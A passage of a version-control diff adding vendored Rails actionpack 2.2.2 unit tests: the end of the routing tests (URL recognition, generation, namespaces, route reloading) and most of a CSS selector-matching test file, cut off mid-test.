+          people.connect "/people/:id.:_format", :action => "show", :conditions => { :method => :get }
+        end
+      end
+
+      request.path = "/people/5"
+      request.method = :get
+      assert_nothing_raised { set.recognize(request) }
+      assert_equal("show", request.path_parameters[:action])
+      assert_equal("5", request.path_parameters[:id])
+
+      request.method = :put
+      assert_nothing_raised { set.recognize(request) }
+      assert_equal("update", request.path_parameters[:action])
+
+      request.path = "/people/5.png"
+      request.method = :get
+      assert_nothing_raised { set.recognize(request) }
+      assert_equal("show", request.path_parameters[:action])
+      assert_equal("5", request.path_parameters[:id])
+      assert_equal("png", request.path_parameters[:_format])
+    ensure
+      Object.send(:remove_const, :PeopleController)
+    end
+
+    def test_generate_with_default_action
+      set.draw do |map|
+        map.connect "/people", :controller => "people"
+        map.connect "/people/list", :controller => "people", :action => "list"
+      end
+
+      url = set.generate(:controller => "people", :action => "list")
+      assert_equal "/people/list", url
+    end
+
+    def test_root_map
+      Object.const_set(:PeopleController, Class.new)
+
+      set.draw { |map| map.root :controller => "people" }
+
+      request.path = ""
+      request.method = :get
+      assert_nothing_raised { set.recognize(request) }
+      assert_equal("people", request.path_parameters[:controller])
+      assert_equal("index", request.path_parameters[:action])
+    ensure
+      Object.send(:remove_const, :PeopleController)
+    end
+
+    def test_namespace
+      Object.const_set(:Api, Module.new { |m| m.const_set(:ProductsController, Class.new) })
+
+      set.draw do |map|
+
+        map.namespace 'api' do |api|
+          api.route 'inventory', :controller => "products", :action => 'inventory'
+        end
+
+      end
+
+      request.path = "/api/inventory"
+      request.method = :get
+      assert_nothing_raised { set.recognize(request) }
+      assert_equal("api/products", request.path_parameters[:controller])
+      assert_equal("inventory", request.path_parameters[:action])
+    ensure
+      Object.send(:remove_const, :Api)
+    end
+
+    def test_namespaced_root_map
+      Object.const_set(:Api, Module.new { |m| m.const_set(:ProductsController, Class.new) })
+
+      set.draw do |map|
+
+        map.namespace 'api' do |api|
+          api.root :controller => "products"
+        end
+
+      end
+
+      request.path = "/api"
+      request.method = :get
+      assert_nothing_raised { set.recognize(request) }
+      assert_equal("api/products", request.path_parameters[:controller])
+      assert_equal("index", request.path_parameters[:action])
+    ensure
+      Object.send(:remove_const, :Api)
+    end
+
+    def test_namespace_with_path_prefix
+      Object.const_set(:Api, Module.new { |m| m.const_set(:ProductsController, Class.new) })
+
+      set.draw do |map|
+
+        map.namespace 'api', :path_prefix => 'prefix' do |api|
+          api.route 'inventory', :controller => "products", :action => 'inventory'
+        end
+
+      end
+
+      request.path = "/prefix/inventory"
+      request.method = :get
+      assert_nothing_raised { set.recognize(request) }
+      assert_equal("api/products", request.path_parameters[:controller])
+      assert_equal("inventory", request.path_parameters[:action])
+    ensure
+      Object.send(:remove_const, :Api)
+    end
+
+    def test_generate_finds_best_fit
+      set.draw do |map|
+        map.connect "/people", :controller => "people", :action => "index"
+        map.connect "/ws/people", :controller => "people", :action => "index", :ws => true
+      end
+
+      url = set.generate(:controller => "people", :action => "index", :ws => true)
+      assert_equal "/ws/people", url
+    end
+
+    def test_generate_changes_controller_module
+      set.draw { |map| map.connect ':controller/:action/:id' }
+      current = { :controller => "bling/bloop", :action => "bap", :id => 9 }
+      url = set.generate({:controller => "foo/bar", :action => "baz", :id => 7}, current)
+      assert_equal "/foo/bar/baz/7", url
+    end
+
+    def test_id_is_not_impossibly_sticky
+      set.draw do |map|
+        map.connect 'foo/:number', :controller => "people", :action => "index"
+        map.connect ':controller/:action/:id'
+      end
+
+      url = set.generate({:controller => "people", :action => "index", :number => 3},
+        {:controller => "people", :action => "index", :id => "21"})
+      assert_equal "/foo/3", url
+    end
+
+    def test_id_is_sticky_when_it_ought_to_be
+      set.draw do |map|
+        map.connect ':controller/:id/:action'
+      end
+
+      url = set.generate({:action => "destroy"}, {:controller => "people", :action => "show", :id => "7"})
+      assert_equal "/people/7/destroy", url
+    end
+
+    def test_use_static_path_when_possible
+      set.draw do |map|
+        map.connect 'about', :controller => "welcome", :action => "about"
+        map.connect ':controller/:action/:id'
+      end
+
+      url = set.generate({:controller => "welcome", :action => "about"},
+        {:controller => "welcome", :action => "get", :id => "7"})
+      assert_equal "/about", url
+    end
+
+    def test_generate
+      set.draw { |map| map.connect ':controller/:action/:id' }
+
+      args = { :controller => "foo", :action => "bar", :id => "7", :x => "y" }
+      assert_equal "/foo/bar/7?x=y", set.generate(args)
+      assert_equal ["/foo/bar/7", [:x]], set.generate_extras(args)
+      assert_equal [:x], set.extra_keys(args)
+    end
+
+    def test_generate_with_path_prefix
+      set.draw { |map| map.connect ':controller/:action/:id', :path_prefix => 'my' }
+
+      args = { :controller => "foo", :action => "bar", :id => "7", :x => "y" }
+      assert_equal "/my/foo/bar/7?x=y", set.generate(args)
+    end
+
+    def test_named_routes_are_never_relative_to_modules
+      set.draw do |map|
+        map.connect "/connection/manage/:action", :controller => 'connection/manage'
+        map.connect "/connection/connection", :controller => "connection/connection"
+        map.family_connection "/connection", :controller => "connection"
+      end
+
+      url = set.generate({:controller => "connection"}, {:controller => 'connection/manage'})
+      assert_equal "/connection/connection", url
+
+      url = set.generate({:use_route => :family_connection, :controller => "connection"}, {:controller => 'connection/manage'})
+      assert_equal "/connection", url
+    end
+
+    def test_action_left_off_when_id_is_recalled
+      set.draw do |map|
+        map.connect ':controller/:action/:id'
+      end
+      assert_equal '/post', set.generate(
+        {:controller => 'post', :action => 'index'},
+        {:controller => 'post', :action => 'show', :id => '10'}
+      )
+    end
+
+    def test_query_params_will_be_shown_when_recalled
+      set.draw do |map|
+        map.connect 'show_post/:parameter', :controller => 'post', :action => 'show'
+        map.connect ':controller/:action/:id'
+      end
+      assert_equal '/post/edit?parameter=1', set.generate(
+        {:action => 'edit', :parameter => 1},
+        {:controller => 'post', :action => 'show', :parameter => 1}
+      )
+    end
+
+    def test_expiry_determination_should_consider_values_with_to_param
+      set.draw { |map| map.connect 'projects/:project_id/:controller/:action' }
+      assert_equal '/projects/1/post/show', set.generate(
+        {:action => 'show', :project_id => 1},
+        {:controller => 'post', :action => 'show', :project_id => '1'})
+    end
+
+    def test_generate_all
+      set.draw do |map|
+        map.connect 'show_post/:id', :controller => 'post', :action => 'show'
+        map.connect ':controller/:action/:id'
+      end
+      all = set.generate(
+        {:action => 'show', :id => 10, :generate_all => true},
+        {:controller => 'post', :action => 'show'}
+      )
+      assert_equal 2, all.length
+      assert_equal '/show_post/10', all.first
+      assert_equal '/post/show/10', all.last
+    end
+
+    def test_named_route_in_nested_resource
+      set.draw do |map|
+        map.resources :projects do |project|
+          project.milestones 'milestones', :controller => 'milestones', :action => 'index'
+        end
+      end
+
+      request.path = "/projects/1/milestones"
+      request.method = :get
+      assert_nothing_raised { set.recognize(request) }
+      assert_equal("milestones", request.path_parameters[:controller])
+      assert_equal("index", request.path_parameters[:action])
+    end
+
+    def test_setting_root_in_namespace_using_symbol
+      assert_nothing_raised do
+        set.draw do |map|
+          map.namespace :admin do |admin|
+            admin.root :controller => 'home'
+          end
+        end
+      end
+    end
+
+    def test_setting_root_in_namespace_using_string
+      assert_nothing_raised do
+        set.draw do |map|
+          map.namespace 'admin' do |admin|
+            admin.root :controller => 'home'
+          end
+        end
+      end
+    end
+
+    def test_route_requirements_with_unsupported_regexp_options_must_error
+      assert_raises ArgumentError do
+        set.draw do |map|
+          map.connect 'page/:name', :controller => 'pages',
+            :action => 'show',
+            :requirements => {:name => /(david|jamis)/m}
+        end
+      end
+    end
+
+    def test_route_requirements_with_supported_options_must_not_error
+      assert_nothing_raised do
+        set.draw do |map|
+          map.connect 'page/:name', :controller => 'pages',
+            :action => 'show',
+            :requirements => {:name => /(david|jamis)/i}
+        end
+      end
+      assert_nothing_raised do
+        set.draw do |map|
+          map.connect 'page/:name', :controller => 'pages',
+            :action => 'show',
+            :requirements => {:name => / # Desperately overcommented regexp
+                                        ( #Either
+                                         david #The Creator
+                                        | #Or
+                                          jamis #The Deployer
+                                        )/x}
+        end
+      end
+    end
+
+    def test_route_requirement_recognize_with_ignore_case
+      set.draw do |map|
+        map.connect 'page/:name', :controller => 'pages',
+          :action => 'show',
+          :requirements => {:name => /(david|jamis)/i}
+      end
+      assert_equal({:controller => 'pages', :action => 'show', :name => 'jamis'}, set.recognize_path('/page/jamis'))
+      assert_raises ActionController::RoutingError do
+        set.recognize_path('/page/davidjamis')
+      end
+      assert_equal({:controller => 'pages', :action => 'show', :name => 'DAVID'}, set.recognize_path('/page/DAVID'))
+    end
+
+    def test_route_requirement_generate_with_ignore_case
+      set.draw do |map|
+        map.connect 'page/:name', :controller => 'pages',
+          :action => 'show',
+          :requirements => {:name => /(david|jamis)/i}
+      end
+      url = set.generate({:controller => 'pages', :action => 'show', :name => 'david'})
+      assert_equal "/page/david", url
+      assert_raises ActionController::RoutingError do
+        url = set.generate({:controller => 'pages', :action => 'show', :name => 'davidjamis'})
+      end
+      url = set.generate({:controller => 'pages', :action => 'show', :name => 'JAMIS'})
+      assert_equal "/page/JAMIS", url
+    end
+
+    def test_route_requirement_recognize_with_extended_syntax
+      set.draw do |map|
+        map.connect 'page/:name', :controller => 'pages',
+          :action => 'show',
+          :requirements => {:name => / # Desperately overcommented regexp
+                                      ( #Either
+                                       david #The Creator
+                                      | #Or
+                                        jamis #The Deployer
+                                      )/x}
+      end
+      assert_equal({:controller => 'pages', :action => 'show', :name => 'jamis'}, set.recognize_path('/page/jamis'))
+      assert_equal({:controller => 'pages', :action => 'show', :name => 'david'}, set.recognize_path('/page/david'))
+      assert_raises ActionController::RoutingError do
+        set.recognize_path('/page/david #The Creator')
+      end
+      assert_raises ActionController::RoutingError do
+        set.recognize_path('/page/David')
+      end
+    end
+
+    def test_route_requirement_generate_with_extended_syntax
+      set.draw do |map|
+        map.connect 'page/:name', :controller => 'pages',
+          :action => 'show',
+          :requirements => {:name => / # Desperately overcommented regexp
+                                      ( #Either
+                                       david #The Creator
+                                      | #Or
+                                        jamis #The Deployer
+                                      )/x}
+      end
+      url = set.generate({:controller => 'pages', :action => 'show', :name => 'david'})
+      assert_equal "/page/david", url
+      assert_raises ActionController::RoutingError do
+        url = set.generate({:controller => 'pages', :action => 'show', :name => 'davidjamis'})
+      end
+      assert_raises ActionController::RoutingError do
+        url = set.generate({:controller => 'pages', :action => 'show', :name => 'JAMIS'})
+      end
+    end
+
+    def test_route_requirement_generate_with_xi_modifiers
+      set.draw do |map|
+        map.connect 'page/:name', :controller => 'pages',
+          :action => 'show',
+          :requirements => {:name => / # Desperately overcommented regexp
+                                      ( #Either
+                                       david #The Creator
+                                      | #Or
+                                        jamis #The Deployer
+                                      )/xi}
+      end
+      url = set.generate({:controller => 'pages', :action => 'show', :name => 'JAMIS'})
+      assert_equal "/page/JAMIS", url
+    end
+
+    def test_route_requirement_recognize_with_xi_modifiers
+      set.draw do |map|
+        map.connect 'page/:name', :controller => 'pages',
+          :action => 'show',
+          :requirements => {:name => / # Desperately overcommented regexp
+                                      ( #Either
+                                       david #The Creator
+                                      | #Or
+                                        jamis #The Deployer
+                                      )/xi}
+      end
+      assert_equal({:controller => 'pages', :action => 'show', :name => 'JAMIS'}, set.recognize_path('/page/JAMIS'))
+    end
+  end
+
+  class RouteLoadingTest < Test::Unit::TestCase
+    def setup
+      routes.instance_variable_set '@routes_last_modified', nil
+      silence_warnings { Object.const_set :RAILS_ROOT, '.' }
+      ActionController::Routing::Routes.configuration_file = File.join(RAILS_ROOT, 'config', 'routes.rb')
+
+      @stat = stub_everything
+    end
+
+    def teardown
+      ActionController::Routing::Routes.configuration_file = nil
+      Object.send :remove_const, :RAILS_ROOT
+    end
+
+    def test_load
+      File.expects(:stat).returns(@stat)
+      routes.expects(:load).with(regexp_matches(/routes\.rb$/))
+
+      routes.reload
+    end
+
+    def test_no_reload_when_not_modified
+      @stat.expects(:mtime).times(2).returns(1)
+      File.expects(:stat).times(2).returns(@stat)
+      routes.expects(:load).with(regexp_matches(/routes\.rb$/)).at_most_once
+
+      2.times { routes.reload }
+    end
+
+    def test_reload_when_modified
+      @stat.expects(:mtime).at_least(2).returns(1, 2)
+      File.expects(:stat).at_least(2).returns(@stat)
+      routes.expects(:load).with(regexp_matches(/routes\.rb$/)).times(2)
+
+      2.times { routes.reload }
+    end
+
+    def test_bang_forces_reload
+      @stat.expects(:mtime).at_least(2).returns(1)
+      File.expects(:stat).at_least(2).returns(@stat)
+      routes.expects(:load).with(regexp_matches(/routes\.rb$/)).times(2)
+
+      2.times { routes.reload! }
+    end
+
+    def test_adding_inflections_forces_reload
+      ActiveSupport::Inflector::Inflections.instance.expects(:uncountable).with('equipment')
+      routes.expects(:reload!)
+
+      ActiveSupport::Inflector.inflections { |inflect| inflect.uncountable('equipment') }
+    end
+
+    def test_load_with_configuration
+      routes.configuration_file = "foobarbaz"
+      File.expects(:stat).returns(@stat)
+      routes.expects(:load).with("foobarbaz")
+
+      routes.reload
+    end
+
+    private
+      def routes
+        ActionController::Routing::Routes
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/selector_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/selector_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/selector_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,628 @@
+#--
+# Copyright (c) 2006 Assaf Arkin (http://labnotes.org)
+# Under MIT and/or CC By license.
+#++
+
+require 'abstract_unit'
+require 'controller/fake_controllers'
+
+class SelectorTest < Test::Unit::TestCase
+  #
+  # Basic selector: element, id, class, attributes.
+  #
+
+  def test_element
+    parse(%Q{<div id="1"></div><p></p><div id="2"></div>})
+    # Match element by name.
+    select("div")
+    assert_equal 2, @matches.size
+    assert_equal "1", @matches[0].attributes["id"]
+    assert_equal "2", @matches[1].attributes["id"]
+    # Not case sensitive.
+    select("DIV")
+    assert_equal 2, @matches.size
+    assert_equal "1", @matches[0].attributes["id"]
+    assert_equal "2", @matches[1].attributes["id"]
+    # Universal match (all elements).
+    select("*")
+    assert_equal 3, @matches.size
+    assert_equal "1", @matches[0].attributes["id"]
+    assert_equal nil, @matches[1].attributes["id"]
+    assert_equal "2", @matches[2].attributes["id"]
+  end
+
+
+  def test_identifier
+    parse(%Q{<div id="1"></div><p></p><div id="2"></div>})
+    # Match element by ID.
+    select("div#1")
+    assert_equal 1, @matches.size
+    assert_equal "1", @matches[0].attributes["id"]
+    # Match element by ID, substitute value.
+    select("div#?", 2)
+    assert_equal 1, @matches.size
+    assert_equal "2", @matches[0].attributes["id"]
+    # Element name does not match ID.
+    select("p#?", 2)
+    assert_equal 0, @matches.size
+    # Use regular expression.
+    select("#?", /\d/)
+    assert_equal 2, @matches.size
+  end
+
+
+  def test_class_name
+    parse(%Q{<div id="1" class=" foo "></div><p id="2" class=" foo bar "></p><div id="3" class="bar"></div>})
+    # Match element with specified class.
+    select("div.foo")
+    assert_equal 1, @matches.size
+    assert_equal "1", @matches[0].attributes["id"]
+    # Match any element with specified class.
+    select("*.foo")
+    assert_equal 2, @matches.size
+    assert_equal "1", @matches[0].attributes["id"]
+    assert_equal "2", @matches[1].attributes["id"]
+    # Match elements with other class.
+    select("*.bar")
+    assert_equal 2, @matches.size
+    assert_equal "2", @matches[0].attributes["id"]
+    assert_equal "3", @matches[1].attributes["id"]
+    # Match only element with both class names.
+    select("*.bar.foo")
+    assert_equal 1, @matches.size
+    assert_equal "2", @matches[0].attributes["id"]
+  end
+
+
+  def test_attribute
+    parse(%Q{<div id="1"></div><p id="2" title="" bar="foo"></p><div id="3" title="foo"></div>})
+    # Match element with attribute.
+    select("div[title]")
+    assert_equal 1, @matches.size
+    assert_equal "3", @matches[0].attributes["id"]
+    # Match any element with attribute.
+    select("*[title]")
+    assert_equal 2, @matches.size
+    assert_equal "2", @matches[0].attributes["id"]
+    assert_equal "3", @matches[1].attributes["id"]
+    # Match element with attribute value.
+    select("*[title=foo]")
+    assert_equal 1, @matches.size
+    assert_equal "3", @matches[0].attributes["id"]
+    # Match element with attribute and attribute value.
+    select("[bar=foo][title]")
+    assert_equal 1, @matches.size
+    assert_equal "2", @matches[0].attributes["id"]
+    # Not case sensitive.
+    select("[BAR=foo][TiTle]")
+    assert_equal 1, @matches.size
+    assert_equal "2", @matches[0].attributes["id"]
+  end
+
+
+  def test_attribute_quoted
+    parse(%Q{<div id="1" title="foo"></div><div id="2" title="bar"></div><div id="3" title="  bar  "></div>})
+    # Match without quotes.
+    select("[title = bar]")
+    assert_equal 1, @matches.size
+    assert_equal "2", @matches[0].attributes["id"]
+    # Match with single quotes.
+    select("[title = 'bar' ]")
+    assert_equal 1, @matches.size
+    assert_equal "2", @matches[0].attributes["id"]
+    # Match with double quotes.
+    select("[title = \"bar\" ]")
+    assert_equal 1, @matches.size
+    assert_equal "2", @matches[0].attributes["id"]
+    # Match with spaces.
+    select("[title = \"  bar  \" ]")
+    assert_equal 1, @matches.size
+    assert_equal "3", @matches[0].attributes["id"]
+  end
+
+
+  def test_attribute_equality
+    parse(%Q{<div id="1" title="foo bar"></div><div id="2" title="barbaz"></div>})
+    # Match (fail) complete value.
+    select("[title=bar]")
+    assert_equal 0, @matches.size
+    # Match space-separate word.
+    select("[title~=foo]")
+    assert_equal 1, @matches.size
+    assert_equal "1", @matches[0].attributes["id"]
+    select("[title~=bar]")
+    assert_equal 1, @matches.size
+    assert_equal "1", @matches[0].attributes["id"]
+    # Match beginning of value.
+    select("[title^=ba]")
+    assert_equal 1, @matches.size
+    assert_equal "2", @matches[0].attributes["id"]
+    # Match end of value.
+    select("[title$=ar]")
+    assert_equal 1, @matches.size
+    assert_equal "1", @matches[0].attributes["id"]
+    # Match text in value.
+    select("[title*=bar]")
+    assert_equal 2, @matches.size
+    assert_equal "1", @matches[0].attributes["id"]
+    assert_equal "2", @matches[1].attributes["id"]
+    # Match first space separated word.
+    select("[title|=foo]")
+    assert_equal 1, @matches.size
+    assert_equal "1", @matches[0].attributes["id"]
+    select("[title|=bar]")
+    assert_equal 0, @matches.size
+  end
+
+
+  #
+  # Selector composition: groups, sibling, children
+  #
+
+
+  def test_selector_group
+    parse(%Q{<h1 id="1"></h1><h2 id="2"></h2><h3 id="3"></h3>})
+    # Simple group selector.
+    select("h1,h3")
+    assert_equal 2, @matches.size
+    assert_equal "1", @matches[0].attributes["id"]
+    assert_equal "3", @matches[1].attributes["id"]
+    select("h1 , h3")
+    assert_equal 2, @matches.size
+    assert_equal "1", @matches[0].attributes["id"]
+    assert_equal "3", @matches[1].attributes["id"]
+    # Complex group selector.
+    parse(%Q{<h1 id="1"><a href="foo"></a></h1><h2 id="2"><a href="bar"></a></h2><h3 id="2"><a href="baz"></a></h3>})
+    select("h1 a, h3 a")
+    assert_equal 2, @matches.size
+    assert_equal "foo", @matches[0].attributes["href"]
+    assert_equal "baz", @matches[1].attributes["href"]
+    # And now for the three selector challenge.
+    parse(%Q{<h1 id="1"><a href="foo"></a></h1><h2 id="2"><a href="bar"></a></h2><h3 id="2"><a href="baz"></a></h3>})
+    select("h1 a, h2 a, h3 a")
+    assert_equal 3, @matches.size
+    assert_equal "foo", @matches[0].attributes["href"]
+    assert_equal "bar", @matches[1].attributes["href"]
+    assert_equal "baz", @matches[2].attributes["href"]
+  end
+
+
+  def test_sibling_selector
+    parse(%Q{<h1 id="1"></h1><h2 id="2"></h2><h3 id="3"></h3>})
+    # Test next sibling.
+    select("h1+*")
+    assert_equal 1, @matches.size
+    assert_equal "2", @matches[0].attributes["id"]
+    select("h1+h2")
+    assert_equal 1, @matches.size
+    assert_equal "2", @matches[0].attributes["id"]
+    select("h1+h3")
+    assert_equal 0, @matches.size
+    select("*+h3")
+    assert_equal 1, @matches.size
+    assert_equal "3", @matches[0].attributes["id"]
+    # Test any sibling.
+    select("h1~*")
+    assert_equal 2, @matches.size
+    assert_equal "2", @matches[0].attributes["id"]
+    assert_equal "3", @matches[1].attributes["id"]
+    select("h2~*")
+    assert_equal 1, @matches.size
+    assert_equal "3", @matches[0].attributes["id"]
+  end
+
+
+  def test_children_selector
+    parse(%Q{<div><p id="1"><span id="2"></span></p></div><div><p id="3"><span id="4" class="foo"></span></p></div>})
+    # Test child selector.
+    select("div>p")
+    assert_equal 2, @matches.size
+    assert_equal "1", @matches[0].attributes["id"]
+    assert_equal "3", @matches[1].attributes["id"]
+    select("div>span")
+    assert_equal 0, @matches.size
+    select("div>p#3")
+    assert_equal 1, @matches.size
+    assert_equal "3", @matches[0].attributes["id"]
+    select("div>p>span")
+    assert_equal 2, @matches.size
+    assert_equal "2", @matches[0].attributes["id"]
+    assert_equal "4", @matches[1].attributes["id"]
+    # Test descendant selector.
+    select("div p")
+    assert_equal 2, @matches.size
+    assert_equal "1", @matches[0].attributes["id"]
+    assert_equal "3", @matches[1].attributes["id"]
+    select("div span")
+    assert_equal 2, @matches.size
+    assert_equal "2", @matches[0].attributes["id"]
+    assert_equal "4", @matches[1].attributes["id"]
+    select("div *#3")
+    assert_equal 1, @matches.size
+    assert_equal "3", @matches[0].attributes["id"]
+    select("div *#4")
+    assert_equal 1, @matches.size
+    assert_equal "4", @matches[0].attributes["id"]
+    # This is here because it failed before when whitespaces
+    # were not properly stripped.
+    select("div .foo")
+    assert_equal 1, @matches.size
+    assert_equal "4", @matches[0].attributes["id"]
+  end
+
+
+  #
+  # Pseudo selectors: root, nth-child, empty, content, etc
+  #
+
+
+  def test_root_selector
+    parse(%Q{<div id="1"><div id="2"></div></div>})
+    # Can only find element if it's root.
+    select(":root")
+    assert_equal 1, @matches.size
+    assert_equal "1", @matches[0].attributes["id"]
+    select("#1:root")
+    assert_equal 1, @matches.size
+    assert_equal "1", @matches[0].attributes["id"]
+    select("#2:root")
+    assert_equal 0, @matches.size
+    # Opposite for nth-child.
+    select("#1:nth-child(1)")
+    assert_equal 0, @matches.size
+  end
+
+
+  def test_nth_child_odd_even
+    parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
+    # Test odd nth children.
+    select("tr:nth-child(odd)")
+    assert_equal 2, @matches.size
+    assert_equal "1", @matches[0].attributes["id"]
+    assert_equal "3", @matches[1].attributes["id"]
+    # Test even nth children.
+    select("tr:nth-child(even)")
+    assert_equal 2, @matches.size
+    assert_equal "2", @matches[0].attributes["id"]
+    assert_equal "4", @matches[1].attributes["id"]
+  end
+
+
+  def test_nth_child_a_is_zero
+    parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
+    # Test the third child.
+    select("tr:nth-child(0n+3)")
+    assert_equal 1, @matches.size
+    assert_equal "3", @matches[0].attributes["id"]
+    # Same but an can be omitted when zero.
+    select("tr:nth-child(3)")
+    assert_equal 1, @matches.size
+    assert_equal "3", @matches[0].attributes["id"]
+    # Second element (but not every second element).
+    select("tr:nth-child(0n+2)")
+    assert_equal 1, @matches.size
+    assert_equal "2", @matches[0].attributes["id"]
+    # Before first and past last returns nothing.:
+    assert_raises(ArgumentError) { select("tr:nth-child(-1)") }
+    select("tr:nth-child(0)")
+    assert_equal 0, @matches.size
+    select("tr:nth-child(5)")
+    assert_equal 0, @matches.size
+  end
+
+
+  def test_nth_child_a_is_one
+    parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
+    # a is group of one, pick every element in group.
+    select("tr:nth-child(1n+0)")
+    assert_equal 4, @matches.size
+    # Same but a can be omitted when one.
+    select("tr:nth-child(n+0)")
+    assert_equal 4, @matches.size
+    # Same but b can be omitted when zero.
+    select("tr:nth-child(n)")
+    assert_equal 4, @matches.size
+  end
+
+
+  def test_nth_child_b_is_zero
+    parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
+    # If b is zero, pick the n-th element (here each one).
+    select("tr:nth-child(n+0)")
+    assert_equal 4, @matches.size
+    # If b is zero, pick the n-th element (here every second).
+    select("tr:nth-child(2n+0)")
+    assert_equal 2, @matches.size
+    assert_equal "1", @matches[0].attributes["id"]
+    assert_equal "3", @matches[1].attributes["id"]
+    # If a and b are both zero, no element selected.
+    select("tr:nth-child(0n+0)")
+    assert_equal 0, @matches.size
+    select("tr:nth-child(0)")
+    assert_equal 0, @matches.size
+  end
+
+
+  def test_nth_child_a_is_negative
+    parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
+    # Since a is -1, picks the first three elements.
+    select("tr:nth-child(-n+3)")
+    assert_equal 3, @matches.size
+    assert_equal "1", @matches[0].attributes["id"]
+    assert_equal "2", @matches[1].attributes["id"]
+    assert_equal "3", @matches[2].attributes["id"]
+    # Since a is -2, picks the first in every second of first four elements.
+    select("tr:nth-child(-2n+3)")
+    assert_equal 2, @matches.size
+    assert_equal "1", @matches[0].attributes["id"]
+    assert_equal "3", @matches[1].attributes["id"]
+    # Since a is -2, picks the first in every second of first three elements.
+    select("tr:nth-child(-2n+2)")
+    assert_equal 1, @matches.size
+    assert_equal "1", @matches[0].attributes["id"]
+  end
+
+
+  def test_nth_child_b_is_negative
+    parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
+    # Select last of four.
+    select("tr:nth-child(4n-1)")
+    assert_equal 1, @matches.size
+    assert_equal "4", @matches[0].attributes["id"]
+    # Select first of four.
+    select("tr:nth-child(4n-4)")
+    assert_equal 1, @matches.size
+    assert_equal "1", @matches[0].attributes["id"]
+    # Select last of every second.
+    select("tr:nth-child(2n-1)")
+    assert_equal 2, @matches.size
+    assert_equal "2", @matches[0].attributes["id"]
+    assert_equal "4", @matches[1].attributes["id"]
+    # Select nothing since an+b always < 0
+    select("tr:nth-child(-1n-1)")
+    assert_equal 0, @matches.size
+  end
+
+
+  def test_nth_child_substitution_values
+    parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
+    # Test with ?n?.
+    select("tr:nth-child(?n?)", 2, 1)
+    assert_equal 2, @matches.size
+    assert_equal "1", @matches[0].attributes["id"]
+    assert_equal "3", @matches[1].attributes["id"]
+    select("tr:nth-child(?n?)", 2, 2)
+    assert_equal 2, @matches.size
+    assert_equal "2", @matches[0].attributes["id"]
+    assert_equal "4", @matches[1].attributes["id"]
+    select("tr:nth-child(?n?)", 4, 2)
+    assert_equal 1, @matches.size
+    assert_equal "2", @matches[0].attributes["id"]
+    # Test with ? (b only).
+    select("tr:nth-child(?)", 3)
+    assert_equal 1, @matches.size
+    assert_equal "3", @matches[0].attributes["id"]
+    select("tr:nth-child(?)", 5)
+    assert_equal 0, @matches.size
+  end
+
+
+  def test_nth_last_child
+    parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
+    # Last two elements.
+    select("tr:nth-last-child(-n+2)")
+    assert_equal 2, @matches.size
+    assert_equal "3", @matches[0].attributes["id"]
+    assert_equal "4", @matches[1].attributes["id"]
+    # All old elements counting from last one.
+    select("tr:nth-last-child(odd)")
+    assert_equal 2, @matches.size
+    assert_equal "2", @matches[0].attributes["id"]
+    assert_equal "4", @matches[1].attributes["id"]
+  end
+
+
+  def test_nth_of_type
+    parse(%Q{<table><thead></thead><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
+    # First two elements.
+    select("tr:nth-of-type(-n+2)")
+    assert_equal 2, @matches.size
+    assert_equal "1", @matches[0].attributes["id"]
+    assert_equal "2", @matches[1].attributes["id"]
+    # All old elements counting from last one.
+    select("tr:nth-last-of-type(odd)")
+    assert_equal 2, @matches.size
+    assert_equal "2", @matches[0].attributes["id"]
+    assert_equal "4", @matches[1].attributes["id"]
+  end
+
+  
+  def test_first_and_last
+    parse(%Q{<table><thead></thead><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
+    # First child.
+    select("tr:first-child")
+    assert_equal 0, @matches.size
+    select(":first-child")
+    assert_equal 1, @matches.size
+    assert_equal "thead", @matches[0].name
+    # First of type.
+    select("tr:first-of-type")
+    assert_equal 1, @matches.size
+    assert_equal "1", @matches[0].attributes["id"]
+    select("thead:first-of-type")
+    assert_equal 1, @matches.size
+    assert_equal "thead", @matches[0].name
+    select("div:first-of-type")
+    assert_equal 0, @matches.size
+    # Last child.
+    select("tr:last-child")
+    assert_equal 1, @matches.size
+    assert_equal "4", @matches[0].attributes["id"]
+    # Last of type.
+    select("tr:last-of-type")
+    assert_equal 1, @matches.size
+    assert_equal "4", @matches[0].attributes["id"]
+    select("thead:last-of-type")
+    assert_equal 1, @matches.size
+    assert_equal "thead", @matches[0].name
+    select("div:last-of-type")
+    assert_equal 0, @matches.size
+  end
+
+
+  def test_first_and_last
+    # Only child.
+    parse(%Q{<table><tr></tr></table>})
+    select("table:only-child")
+    assert_equal 0, @matches.size
+    select("tr:only-child")
+    assert_equal 1, @matches.size
+    assert_equal "tr", @matches[0].name
+    parse(%Q{<table><tr></tr><tr></tr></table>})
+    select("tr:only-child")
+    assert_equal 0, @matches.size
+    # Only of type.
+    parse(%Q{<table><thead></thead><tr></tr><tr></tr></table>})
+    select("thead:only-of-type")
+    assert_equal 1, @matches.size
+    assert_equal "thead", @matches[0].name
+    select("td:only-of-type")
+    assert_equal 0, @matches.size
+  end
+
+
+  def test_empty
+    parse(%Q{<table><tr></tr></table>})
+    select("table:empty")
+    assert_equal 0, @matches.size
+    select("tr:empty")
+    assert_equal 1, @matches.size
+    parse(%Q{<div> </div>})
+    select("div:empty")
+    assert_equal 1, @matches.size
+  end
+
+  
+  def test_content
+    parse(%Q{<div> </div>})
+    select("div:content()")
